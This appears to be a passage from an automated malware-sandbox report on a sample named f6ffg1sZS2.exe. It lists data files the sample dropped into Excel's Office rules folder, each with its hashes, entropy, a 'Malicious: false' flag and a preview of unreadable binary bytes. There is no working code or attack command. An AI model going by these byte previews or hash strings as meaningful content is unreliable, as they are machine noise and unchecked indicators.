?....q......i.[.k.N...s,..n .`.v.e..M..FD..?...5.$....O.y...%t.,.T...RJ.......!ZdP....o....&.. ...d.j....a......7n..w....o;.....P^..'l.].....,..O...f.x..[.......rM....T..t2>w.jb.-.....R..8.Nt7...-.4..#.4..6..~...P...0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.975304933203116
Encrypted:	false
SSDEEP:	192:oRqMtkRlVKLvbNr3F5THpZY/TuIFo991sE9xy05R:oRqRfKbbNr3nTHpZY/tof1pR
MD5:	683C76C556D3D18230C5429A39E7FF4C
SHA1:	D3EC16114994D603C52B9AE2A9CA850C262A1802
SHA-256:	B654283FF3D581086C6DDCCCBFD961A41A8825BD0D7925E278F32A175AE7C32F
SHA-512:	E9360EEAAC2382BC843FE3F6FD9E18BF44818EAC820C411EBE6089319DD818C554B91AA83F001B74371C4BEBEA34DC506D5CA04B88D261AC0F13B6A0D26BB148
Malicious:	false
Preview:	<?xml...7l../.0Y..AA..VZ..!...8.l....>S..&.9u.3a.........f...vf8[......a..Q>.2A.RW$.^.0..tY...=`..CY/x{.....D.....6...:...c.....Iw{iln.p.^V{eE:.....h..(.F...5. .T.30.....9F[...)...........L..8.V......d...i....C.5...%.fJ..D...Q..VP?..C.gS>`.....{c..7}.n.0...!...g%/..j!+E..........R.....G......3M\|...S......g&&..FM..?Sm........7..Y4.".s=.8p.+...*..G.K....t..5x..=_e.....@...T....."2ZL.b.....=..}...O#....=Sf.....{..lB......@.CJ.n..1.wc....Db1........S...f.H..=K+PF.\..#`...DN............W.6.bS.a.$x...rG.;n...\.ST.Lo..z..2..b..d.........ey..Ny..s..Q.<.bf.....$....~/...Sf.(],..?s.h..m..v..Si%s..%.m.r...@X=].d....H"(Mg.?........4..1g7...C.R.ag...YT+/a{D....@.\|....fH....k@8%.l..]..\.(.f...ub....cM..l+...Y8c@rWIP.6..X.;./.}..H.+.0}&d..].>....,........b..K.q......;.w......2G..c...b...D......].Lbp.;8...$.$%.b.}.k ...u.2.O...c...pf.;"..F.W..S.(-t. +..>...^,3.##DX..+.F.\...-D7...+3.P`i;.0...&3?S....MZH..(z...it....+....g'.r$..p.T..k.!..Ei..K..D.ra

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.753090665290704
Encrypted:	false
SSDEEP:	12:zw0hSAPXoHx5kSiyd+/LLc0ySPA0Ujv9Ubhcu7zU/5nTR0Cs6fFGS2cii9a:X8AP4HPoO6lySPRHNcu/EnqCs6f8bD
MD5:	208DAA756D33C8EC52EBA2419691C3B3
SHA1:	832ADD600B7BC983E378E39C5A67E3236CDD4989
SHA-256:	E3266D083CA19BA3D7C9B6A5C1932FA1A2BAE179CEEED37674BFAADCF22BC084
SHA-512:	AA5C4D1C005D2F5524D36B5678BB29D5C9AC1893B668F55FE94B2ED3C7A7CDB45097AB6E47EAFF72D62C0796B40F51286F73A9FD76781D20F63FAA1412D52AC1
Malicious:	false
Preview:	<?xmlG.....F..,.F.2.<..R..=.{e,J..R.`<.\S.....;...m...@.l.W...j$\|&..l....kt...M..4...il..F&.(&@jf.T.o.......m......K.mJ...]..\X./...Q...d,....d..3.u.......".Wr.M.%..L1..wR....,"e=xpK.v.)S.h(.2>.Fr.........+"..uV..m.....^...[...Tm....i(w.R.9./_-\|3..2.wE......$..}..W.no.....#........J....%_....w3.tt.....I...E..i...b0.N.w..).@\|.....=.n.C.R....N..&...3y._.R=.).Gc.....>.....Ud.......B.o=@..2H6.L....AK.Z..=y...n.s.".3...............R.!....h.s....%./\|h.qw..(..1.$A{.M.5.....>.9.I..w.b....K..4....f...%.u..3...z..../..~..&...].....g...........2{.p.X.L.>?.......gLAb......k.....0.\|]1.-..u.....{...m......?;c.......8.R....L..N.C.....!~_\K.a.<0.`.........#.^.m. .h.O.P*.....@f..c&(bH.....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.898067054849452
Encrypted:	false
SSDEEP:	48:+1534AzBbPnSR2/UU4ftI1uUd5EPAHutamzc2rHEGPVNYfH9G4aBJ5d47zzSD:GVFbn+bq1V5EcuRo2rHEG69y/n4/z6
MD5:	B32B8780568A4AE518CF03EBCEFA2093
SHA1:	4732037CAB9D77BED08E71DDC98DBC7736B4FB2F
SHA-256:	F91EE1E2357068D1A896407993F70C6545E2AA5517D7D70D353FC61A334919E9
SHA-512:	4D7B753C07A3B538C07BE996811674CCFD4FD5D7B49E277370D7F897B499AC676871CC90B74E374D87789245ACAB3ED3426F6261480BF51583A29C223BC5D92C
Malicious:	false
Preview:	<?xml..DG....+0R.....b...vL....&....tp.s)s.T.?a.L..t.:,...... ..M.ru.N.f.{r9..~.G.t..P.8].g.C...........!...X.......:'..yQ;....p.dg..Ik.V..r.C.j.+..16..c.......n.b..{.c.P.6...?......h.\|:.{6!...0..]".."0..0..c.'`H...3....\|.T.j...d_..?7..C..%.....&.!..-..'..4pX....Th.bV....$.t}.yss....1....J.]H7u.[z..VD../..a.9.}..M...nt=9,.k...B..".5.. .%.TJ.>...* ['....q......m....}i....C..~......w....)...........At...E......8.r.nr.X....{..F.Bb.D.;.d...A...x...n./.....(..MY.>.....X@@....>.h.6....-.hD......T....d...Z.b@.V\.[0..a.@P..@.Z.1...X....D..3.....4,!-....Zf.;C`.....E....B.*F..Z..<..U2L.A..T?.>...@E.W.:8#..7.g......W......Bx..G.u~..G....t...?b.i..m.^[....h..a.8.^.z...I...u...\.@..[\|<....W.2.0.W..j.e...}...._..G..'.xy....#.....8........"s..B.@...9O.P..@.8.h .!(3..3...!9l...{.......g.b.t...Z.0..Y.Q..fC..%......2......#..R.;.o.......T.....N[.-....(......U.TC.8..`$p.O.f.J........p"..S! .o.Y...o..~V..N.g.;.......@R8.o.k.H...dp`....Ct.Y.'M...~.F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.856497452144859
Encrypted:	false
SSDEEP:	24:BOyNfXqm7lU13UuRR5dfOe13JXqf8QuzP62SpEOWOAWJip+tE52PskO+WMLbD:BOyAm7lU1ky5dfOe1sf8QumNgwSwmTAD
MD5:	0266BB9DE5BB8EB38EB6A970333F0E58
SHA1:	F3D14FC3D3835EB958E565B8EC4E0C418E448A64
SHA-256:	B26816EFC5501FFCB73A06E65FA1419F843A4542C505B586C69347779A5DC5AC
SHA-512:	E4EF03BCBEB952E940F425685ABD39F5AF510B52D16CB0BFFBC4931CD20955A4FB45CA4817ABE6B3B6393B5465786C7EA992D9498E085D3D71363E1F55138B7A
Malicious:	false
Preview:	<?xmll .V...;[..L6R.+Fp.H.P..R..?....xX.rh<E....1.K5.S...\|.Go.WR...X...3.p4xiz.'.5..\|.~A......t_.w<M:..d....._.JX...L.."..V.U@?..1....x.. ..:dk.P.....@.e.F....-0.W"..!..V.%~6.CK.T{..D..jid.Y..!..;..>..R.(l..I~.,....N.O...n;..a....L...n.....e.c...%...yv=g"!G.$b.....c..r..1........-..P...4ZKp........T.Hw.&..jH...J..C.&.Moo.=......@.....v}gF..D..5U....?........Tl.F.y.5.},...0az..-.rEG.G.bT..3x].M9....g......{...i..3....4....0W..]....E..-.v.^.[......>Cx.:..gx.....s./..l....X2..>:uT..>....6........:DD@U$..9G..X.`r.!.v.....uy..,..S...=...d.....(U.F....Oq..)..v..^.4....P....u0%E..D.-3......g..t.....%.G......j..dd......#......s.l[.E.5....q.\..qM.L..$..2.".O.....#}.f...rqT...).s.U.G...A.[+..q9..a).m4.D..gs.6Y...P4.....T..A?....I..=X\|..X....A..u..e#.s.78.y@.j.6~..!.........eB...\|hx.FJXj9..<.myY~$J.$..sK..);`.>........ld.x......I.=..i..Lo..I.....R...S..._ .d;m..o-..B.q.Ht.'. Y...e.h...\}...t..@T...y..@.G-.}.O...[.....H.z..N.>..[.^....sW..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.94026686368891
Encrypted:	false
SSDEEP:	96:hxsbyBma2Ol3NNiqicz5W0CnubDEIg4Z7CFR9RYv:sI5BiczmskHev
MD5:	287A76FEAFB2EC4CEE843F40707E8D4B
SHA1:	67A8DE1EFABB6BCDFB3263BB3CB12D565639E08B
SHA-256:	4FF918A1AEBC304266CD1BD9FCD27D997F5EA841BD5200FB7E2D6C410C70D1BA
SHA-512:	13F5EFAC54E92094F5898C4C0CEC2E9CF31E8CCC223CBAFB2F0E5255E078665350050378E1239C2B3723FE8A1102B0F917B8351C6B2E98FF4488A837FB97B645
Malicious:	false
Preview:	<?xml]..ZX$.. ....,+.r...{)..&_c.Fe....X..9..",.7v..\|y..D>8....f..]Y."K..f#Q..nY...&P...`K'e.dMi<..l./....#\|.Vvw..1...23...Mh...^@o&.\..v...M.......-.>)2Og@AWq."....K..g...s.....U5,..e]Y....%........(m.....VFO9W.F.3....U.@C....pEkPU.)....L.;.....j1....]w.[.j..Ms..0.U.v=.....WW[...;4.WN.'q.65R.s.i...&..@Q.b.~......F..JW.F#@.%.X...........\|...N9... M..@Gq......3,47.4.!.f..._#f_..u../q.l.&T..km.9..V.G..I.D...L.0Q.....X.....Il......HnmG.A.,..e.n.3.W$&....]..`.....h.D..A...Y.b.w...].v.....t.Wwp.0A.N}.N..-Z..n......4.L8....t...T..!.S.9.N.6.j.G.B...^Q2'$.,..n..F.....\| K[82pX>.g$....m......p)..^....x. ......u.F2R$;..J#............B1....M....E4.E.v1.............P.$2N.v..k.X0~.^~...{.Wi.b..88~I".9...<...m..X.qa.,.......K H....X.C.aG....}.0.k[...:v..v......}i........N];.........U'x;.eBGi......VI.."..-2by,Ed....:...w.....(t...3...m.vQ.;.....d...#.O.p'!.....N#-.........i...&.E.2(.~..[..X....D0...G.. P(.(....2(....?G.=...Um..........}e.[.._h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.909547779583906
Encrypted:	false
SSDEEP:	48:O2liW3qs9m0sX4QiTStHe311zGZL37yp+SOku3Zar84wiI+Kk4D:ZJdSleFNKLrG+SO3ZLwI+Kx
MD5:	7AA218A0ECF33498D573C6F7692E6EE9
SHA1:	F2204B9EEC57C2F52D4FC3C30A78AC010832C2C4
SHA-256:	01D4C51482FDE2D58834FE81751CEC5348E5E63C05584AFFDF91C8858B915151
SHA-512:	1E504F6F40F2E2FA238885EE686BB1744FE3008338E8F25ACFA2727E6A8241928D7D3D3B807A3F013F0FFA2B492116CF8F79F09BFCDBB24D2008F281E827797A
Malicious:	false
Preview:	<?xml..s...g....ZK......v.....U..s.G...9...$l@~8...0..(%....}1.@....]..D.................<...:F.Q.N$x^.m..7i..%qY.......6..x.$..o.......m."N.v...T/..h'..v ...N.k...=..)[\...HDs....w..W..P.8...S4...:3..:.x...D6az;b..8..O....D...3.#5W(.M.[k...A:bE.]?..5....N.LJ=..........$.....9...-vW.C6.+..@..G=w_f....v.`=..C..F......cv.g.:R.o...e..+..L.@[.k..i...74...0..N.I..l.......'.wc...i...A....Y.}Mn. .q$}..(....h.c.....}'m...0.............l.f...<.8.$...T......p.....M.u.d..H.ws....x...0C";w.2x...M....3c....b.i...V.=...\.s.m..ca..B.......U.-.....`...S.Y)..h\.!..].h=S....^F.I._3DAH.!S...Y...V.........S"....o.A[....p...J.Ib.......}..CaEr+l.d.-.M.`X..C..A...Q..t.^4..T...H.,.....~.'....m\|.JO...n.....8R...."..^z...0O.p..0 9W.6k.`.f3.....Q.:.*.n.;.y..vv..p.M....{..Z.\7.....H..02...;..X.......$..KNa..Ot.V.w.\|.E......!.......O.zi^"........q'.T.BH?.7.O.P\...&..._........]..k .J..A.Z........t.l..."..1R9l.Ghu.^....N$ ).eb6...pY......yt.3Zrc....+.....[.{..'.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.975823166622053
Encrypted:	false
SSDEEP:	192:uXi2cvDWILVJ61msHQYgQhwDX5mv+kbO+IMBUS1ZYJtI2:Mi2cDWEJ6wswdmwC+kbTEmCQ2
MD5:	2C2066ED6408D054C4379CFA3616C53B
SHA1:	34BEB4E9C888EE0A5261BCFEDE2CE3FCE3567486
SHA-256:	B90E4748FC9F1B30A0A4E12ECC28FF783070C6EED6F03ED58CD8A630DAD91DC7
SHA-512:	AC361E190F19237CF7F609735A0B7B044CDC05B2F578E39297C43AD74A0D8CFE2807F8CACE0DF1CED60E72F63908E8A353679855F71AD826AC46A6D5F0D06F01
Malicious:	false
Preview:	<?xml..o=.U5'....Sd?v3..T..f1......+.z0.%.E2...T:...".>...-..Z...p.K.e....o...y.%=j...q..../.,.s..1SR-...j.x.i1.P...u~"..j.......D..0]i...;..vsPv.......>..+...($.].....s..t......H.CZ0...)NP..5...h....:.[...=..P..F.X..CYGU...@N..d..lQ....b.K...../Q../T#.j.T...3...l.G5.@k_..n..).......(.lw..BI...Dt.\.ZgL.=.~!..u.H..i.....J.,.e.T.&!.+P..`......v.8G;....k-.%+.#....f\|..x.!,R.L..{.pa}.uD....B\|d......}.2....D.].Y.d.V..C........u.....I....w.V.8Y...,.5.b...U.>...D.&.I.......#.5a..190...x1...K..e.!.8.MT.......xgq9X:...sL...C.......!..NWR.\|..2u.>e....8?N....+..:N.}....'s9.S.=a.........-.........4...(`-.W...~&...[...!......E...o......k...b..$..J+.._.9l.b_..W*....A\|...=.j.</..X.M..(..g.p,..=........Qw.AE.F.B%...<.......2~..?.`...z...i.7\..uZ..5.C.2(..>.\|7._.tA.J./c+.8...Xc.G...Eed.Sf.....]\...........B.h...Cl...<>.$.,..\/.7.F....[..(..bs.0.yu%d,3..A3M]..Gn'...sV......A.k.Vv.....G[N\|S,$a.y..xH...(.o.v...V....{li........%.t./...Wn. .T.qz.r...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.955868521324089
Encrypted:	false
SSDEEP:	96:w4B7RWS0M733VVMMKnJciLhhFv2S4ASRZriCJ2:PRWSflnKniChhJ19Szr1J2
MD5:	B0D06B5DB1543972C4B72E089C093481
SHA1:	CB73848FBD373655738CCACB39EF334B7060E0F0
SHA-256:	0D69E26D73C70044F7991D777DE8910FD29AEC0BDCA11109F93D3689B0EFF003
SHA-512:	3797FF47628676BC0C95E2EAE6CF8DAF0FDC7D52742899151167EDCD8C4E39D9B728339EA32D6D67336DD22AA5AD6BF78B15D3F73EE2CDB2DDC5BDDABED94D27
Malicious:	false
Preview:	<?xml....V..../..SOC.".tv........ .........9..r..U..P.......:;....,..P2F...0.Hj.z1U...&.8.OO.]F....=...V..........M..D...0".J...z...l.../J.Q/......AkC....\|K......@^}..B..U....0V.}.w.b.."..u/..........@...-...yN.T..-t..Z......8.fY.}.YX..\..FN./<-.4w....I....6..>.N#.z........Q.......W..7.....X...+.q1..h..;.....\b.........8e.B3F.(.LQ._.`...)L/.^.'je....Wp\]...K.;...#....`..b..........=s....q......!...%........{..T..n.......'...l....k.V2}\|m....;.V.5..L.>...t...[..4.\..)....U=:....Q8.YP..2...........5.C.t.w.J..1.e..93H...7>.ZD..j..c....n.@.......p.l.....X4P..H.<2N}.1'1...B....F..b...@....eX..8..0..)...Nk...7...jT..u.a...(.9ah....B...r.s<H..-.]........F.J;<]{&..wL.....y...$.K\|~...z.... {w2=..~w&....T.J@.c..1.H6...=h...qLLFt.6.'T....(8..ps....xPx.D.z..Z......G@y,n.E...`...\?.F4.NN..9_.*..,4.ME.{..M5..@.N6..#dA..\|.4....ljT...y.7.........F1.~u;..`......C9...u.b .UP8....Z...W...[...k+.eZ..H...8.sB...R.>.r..Q..G[....!<(..o2..;..@../...S..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.957186605041502
Encrypted:	false
SSDEEP:	96:aiv0dPlPzoNmUANsvA76jysd3rlUHUfFzhjffqN8JFBh7:aicdPlyIyXdxUofquJFBJ
MD5:	5F188CBE0040A51014C559E66592C27A
SHA1:	4E0228D389A79AB572D18CDC0680A1DB1788EB56
SHA-256:	A405D4BEB596FEA56B0C0AAD9C5EDF1971DD04E49512352FC0C4929A48A52CED
SHA-512:	CCDC001D7F03F424B3B0BCAA02F321BE6A2488A55DDEF6CF15591BD1245CD29E7445FBCE5256D73284C5D04029C0B06C9B063752852A1475F46394BEF35353DA
Malicious:	false
Preview:	<?xml.5^.@.v.Al........x/J.vu....,....u..U.L.P.."..6...m......u........T.oR.3..q..>V...R..bs]w...`Y..s.9.%B...G\..=..E.:...3$h....Zq.......E:"qi.h..X..2ozy.#._..F.c.T.@...w.Q:.;d.=...KGLv.N...Q..r..Z21...Fr..+.{.^.....^..mQ......wks....o(.A.6:.P.Q8;W...7...V!@.?.?.....".v..?.Su...G+.a.gp.......(q..'...J.y....T`......-z...8tI\|.$.J.Y./V.....^..@.......~l.o..P!...!`QZ......N....[..>.;H....(.....U.x.>N......q...k..`m.p."..I.N.Z....g.{...3..u>OGR.1<...').m....O8...p@.o..Q<...!.)..."....;..N.#....FM.L..g..u'0.#. .Y.=<M.E;3.r.=0<._..9:!..E[w0.%..5.M.j..C.&.s=...-..yKE..~..uf.o.....nI...!P....V..AKc..`"3Ni.0.......o:...N.o...X..z..,e....\|....FI..f.px......y.............tr$..H7C.Zw].d...M.C....R..QY_D.W..(.P.H..po.......PkEz^=.....o.a..Fxkh5.@g....w....R{.I....1.[..s.16...}....H,\|P...H!..}vx....M.....z.N.9.#B.]x.u....F.Dh.(..cA.....e.7..<..xN..;...LsQCL.>...Y.9L......0....D.,`K4..VP...M^....$s?w"\|.`.O.g.y<Y..$d%..y.y. .'Swe.3..a./g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.93885420393806
Encrypted:	false
SSDEEP:	48:D5j3/DeEkl+vcwqWk5TQas+/W6OBDfCgdCP7CTm0RccAymYGF2D:9jDeEkl+vcwqWwTQastbggCL011Vx
MD5:	B052AAA275BE5698FEFF46719593E81A
SHA1:	B75B4C7C5034CAD7B2E8DC928FD4E4F33A5C6805
SHA-256:	284CD8C16F4938C9481A78E3BB54EC8268EF0ECE80F257A993AE5B9E785E9EFA
SHA-512:	3FBD3ECA7D3CAD0A9622C91E8780D6C2DE64D1C979F1622EF32F449D62CD6CB2BBA05AA24062231D156C328D85246CA1CF22A789F2A54E26BC96A16FEBD88051
Malicious:	false
Preview:	<?xml.A .LU......hX.%.......R...;JJpvFI...Z#W...[...@.....]......3.....y.....k...M.2;.._5Uf.1R'....J(&xL....q....b.o.\........u.VG..~2~...../2L...{...K...........Lq'...$..>B....z.8.......5.M.5.. .Z..dZ....^/.y>Y....T.-A]g.h!9K...bP\|...3.....(9>..c...W"".D,>...,.<.........Jb....@BJt.t...........h..R..Q.3F5.rf.Sam..wi..=E.b..'.....&.QW..,...u..Zy.../..C...eE....78".'^1..... .+.%..;.L. .]..:.+...c.WK....p.ut.<...o...g.p~....-...OL.9.s9.6...S1.7...^. vC.w.....l..t.,..PD......~-.....&X.[.f._....:..g.A.........kl}...&......Hg...A..d.F.....-Yw.J1...'......m!...y..9$._<>.[...=......r;........o.Ev.%f..l.q.4.....l..I...K......B.K..N.)r.2..A-....g@.El.....1W5cc... .2.sfs.Y...G.a..0.........@.y...k..\|:m..6........:......#.p.T..o....&L.;$..Z.NSW.:......B..MI.n.G..M.../...m..F?.!..........mO..tp....@".....lk..`O.o.\|....l..QE.........k.$..`.........iZ.(.f}....f...._L.m5D..\x..W...'(7.C...b.SA>....X.."%d...{..>..!u....{#..`.'V...YC.gJ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.9654886572025045
Encrypted:	false
SSDEEP:	96:m0svSCceaDhKZ4tDBn3jVqvrnzXINTywN21/IorYLSTAtBl2aym6VngGh3r74kV2:m0svAVnIz4lywYdIS0tBLymZGNrbVgwU
MD5:	76371627BAE73347560E0A2AE4443476
SHA1:	A3E305D728754C652FB877D0488BA461D001DDD3
SHA-256:	A1ADCF0F1BC8AAC692EB861A88EA4B377373C31F4B28A77904342113E52B93D8
SHA-512:	2788054C9E36243CF87F8372612D9ABFFC245A7CB4400D25E408983C1F6325D5B3B13F9043335A6CC0F89AF55DC28C3B488FEC37A3A64CE7A6B674DD5C45FBA3
Malicious:	false
Preview:	<?xml.]5?...;.B.\g..d..-..N..(.....\....P.l%x..Tj..T...!0oJ.fA..O......%..^...N0=.Di.K.y...$...Pyr..j..f..,..X....~+..LG.Gf.....5e....~l;....<.>i#O........1...W[q4....],.8.'.....WCP.../..3]&...lE.@:......3\.?....5UC)R.=8U.bmr.N.}k....d..Q.........D..>..#x....K&l......&.OVa.2L]D.9.hz.....<K.FA...A.('..........EBS.m..p..x.C:, .h...P`..I`?5..I=. ...JL....,...wv.n".#L.........>..[=IWS[X.^......Yz..`.......^.......2....n.@84..j.[..3.f.nry.c.....0#..].F.E..%DngD...E..9:...bl'...i.G._...G....r.J...~...;.B..E......~w.\...&.f. u{...9...m\|.)~..bk.(U....,..3``qp.[.GY..Ko...]2.....gw.q....%.`@.=..t...R.S'.w..{[.K.u.....[..~........F.G.w.....H.."..q.Zv....P!W...\|.....P8.c..."i.D..T.fc.7...o%&.]..;..'....."^R.i2.N..Is........g..1.{.k.I..EU3..O.1$..V.....?.7H.z=`......?...h={.to.^.y..I.M.......Fk...b.'.M..-.V[m'..qDb#..2Ql..L.A.^.j=2.c.o.-.Ary...q.m.d...c....T.ek...l ..Y......^.F....L........@..N5?...>.AQ....)..^mU~..`.......uy(..I..#8.qh..Im.^aq.../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.90562520390788
Encrypted:	false
SSDEEP:	48:R4Nybi0wakDIaRMfNaHutn12g2lAApZI3qsRD:rbiE/VaHgn12g2ybq0
MD5:	A21099A50087727C5C9FECC09C8A6791
SHA1:	A395E2DD0F7A779111F5CBEDFB76E601F732FEFA
SHA-256:	126008E29D85DE754DCBED6C959919C5A176FCBA697B4A110D2A6F8E6D83F2C2
SHA-512:	F2FB70BFC11D12B9821C0F8338FF2A85C1941AE4A47A0E8F034BD40C9B64F16B5C05C74029992EA9535F52A27B1B2F954CD5FC7C6433EFFFD8067CD216912402
Malicious:	false
Preview:	<?xml.h..!cf...u....P....=..T[..c...9.:..t......AQ...D..M..WU..Bv...S..0.B.......v......R.~..BM. s..w.5..kh-..FM?Ob.5....z.Lw..p.07G.{FUFM.{P.G\|...y.I...z.........Am.M.@^.;.:A..!i.....ej.0f.f..i.!....... ...^.z.Y.F.v6.....N.....E.i.!.X.J)...3.2./r{...........4.tO#..X6[....w.i2(8(d..T........[W.v.-.H\|.>......+Xpa.......4G_.....\V..."......wn.p..._..;}..6./9.]\|.F...wr.a.0........' ...~.F.!......X...g.h.....f...t.....a\|.....uMh.....<?..U.n..6.l.....^..m.....d.a."....;.wy.....ik3S..t'.f^..?k.5`4L{B.n..+1..;.......U.;np.,.#\#......`ju..[.....q.m..L..q........."K.{...@[..Ua.4..../8b...V..-.....j.T##.o.q...o...RO..3c..:h...Z.!..'...6..}...~A.o=....n..,.Q..N...8O..OY>.*p.L.l..$\|..X...P.~f..T..z."..NylH]q.rO.".....Q...%a....0.Q...m...en..3.-.b.i9.NV..v.E...aiKy..}.u:....L.1.A;r......u...U\|....>_'[..O.._.\|.,.%...P{..ee..:...R;.H;.u..N.d..k..S...oL..1..1....>A fP...#P.x.\.D"P!E#.}..=...9...~....=...gxL...v.$X..m......r..-.B.X.....,...n...u......z[....d.;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.801652934033006
Encrypted:	false
SSDEEP:	24:l7F7ZxgMPngUee+iw2kEvCTO80gVIDCaNeoCbD:lJwengULdBkENVgVIrNbQD
MD5:	242F04E0B1C23B93DF91777E5737F286
SHA1:	75830213DEB7B8FB1A9C762EE3E3B17419DDCDBB
SHA-256:	8E280135F93BD9207F9267B6D8301250CF164FB67C689B5AB8ED845B00D4E7A1
SHA-512:	A7E7B798CF5BD6FE11392D64E1A0E67F9C10E450B8EFF806FCC79D4D183786C53B2E0D9B418C150E86DAD93824829E0E57191BB962E4B3368EBD0CC20CD245E0
Malicious:	false
Preview:	<?xml(..P..Q?.....M2..NG_. .?...%..4.o.P&..uF~KC.V~..A...%k.2.....n.'>@k.G.s...1.N$......;<..?.s.5.X.........W.rl...I... ....C..D...\|.%...yTv.\|.H.Z.<.eF.................RsZ..e1.F....5..2\|0A..7K..&.8g'.$.FFi.\."B/.\bz....vh0'K...0..S.B..._?IVWK...i?AV..ms..e.......\../Q/.'$f.h...<sk...'....\.S.~..>. L>.A........f....T..^x.........{.{........f....M..Z....s...f..T.....F......U.;^.P...(....u.... .L....K...h..<....[..#.$nl .E...U....w7..NM. I.d...ZD.......u..y... U.(.y..K3l.H..j....o.........n.,....GG..I.....W.. ...9p.........\|.8.Q~...6.,....}:.4.g~...&g(rL.U.....+.X.U...."...Dq.._.Kqw.....^ .mW..6..s.....Q9+..........p..k.b......3...!{.\.5N.....e.....i.U.96O........:.....s.]]......."HG.R,..?.\|n.eI#K..m<..~.....Y?.;zu....A........E\|...........E...N...JTW....59..0.../..v.....)..7!.W......?.s....Rom.S....AB.&..>F.Q.~.R.n~.p..Z.;...Q$.....VC>.\?.f;SW.)...qp.h.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.937201669005755
Encrypted:	false
SSDEEP:	48:6isjj7XatA71TLHqPG0PhybMWbunBa58/63Cxy+c6EA5seeU/9eIU03hKunCOA4D:6rX44MkkBGwI6E2b1q0bp
MD5:	C3FB9912830346622CD0B9FADDB0BCD5
SHA1:	3F8A15868091AFAE3CD957ABD08FEBFC91E73DCC
SHA-256:	9427C4230401C4A71379B5442A9E53FCDA4A9E5CA8697CAC4D04F988C5F002D0
SHA-512:	1154A4617AB0C8E94B11679C459B454D194D1FE77A439C6B334EA0A88B6F15907FD8F4214A816EC1023267331FB0A11C73CC6A2C8A88C1150621AADB1C38325B
Malicious:	false
Preview:	<?xml..a....mW$...#.[F.^}.5..,T.\..Z6o.......@+....J.o..v..f.h.?..-..DP+.c....5.e".&.IU..1.-Y...z...KU].%.H1.. ...i....5_........F..a..v..nR..T^m..o.....s#Y...\l~.TBQ.9.......q.E .4.V~...q.$.....[y...."......E6'.3...i.................t.....&.e2\|.=...}..J\......V.....5....l...80.P..K.4.(....O...I...:mHZ...D&>..g..<...VeVs..._z...!)..UeX@......s.Y:.`S......b.W..@...a..k\...#5..^o....5.%..h.Q3l.N...A.....Q...g?k.......S.Z..-....x..}...x.Kp...0f..6...53......+b...u6v......x..9r.8.:.I.j$._....h..y.zg.......3du.Z...2...M9)...d.L.s..xBf.Z..J....5Q..\|p..X.>+n..T(.G.P...:..2..nF..s..!o.L}.Ai.....,x...x...K.6s.....R.y...aD.R.g...}.....X..e..2zId>r.........m0..@@r}.\|................D.Z..,. <U.C.)..-.}..3..T..S.b...+~Y.=o.....W.3.C..2...M."..s...m..:..7....e.&i.O...3..wUE@.v..j.]..Z.O.....(..I.Q.l.K..a.........../d.\u..mG.j.{.MGaP..Dpl&......Qx ............Q\.....;.\....@....n,..O,n.....p..R..{<.H....S3.y.[.t..9w[z.@...X?-...+...{.....im..OD.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

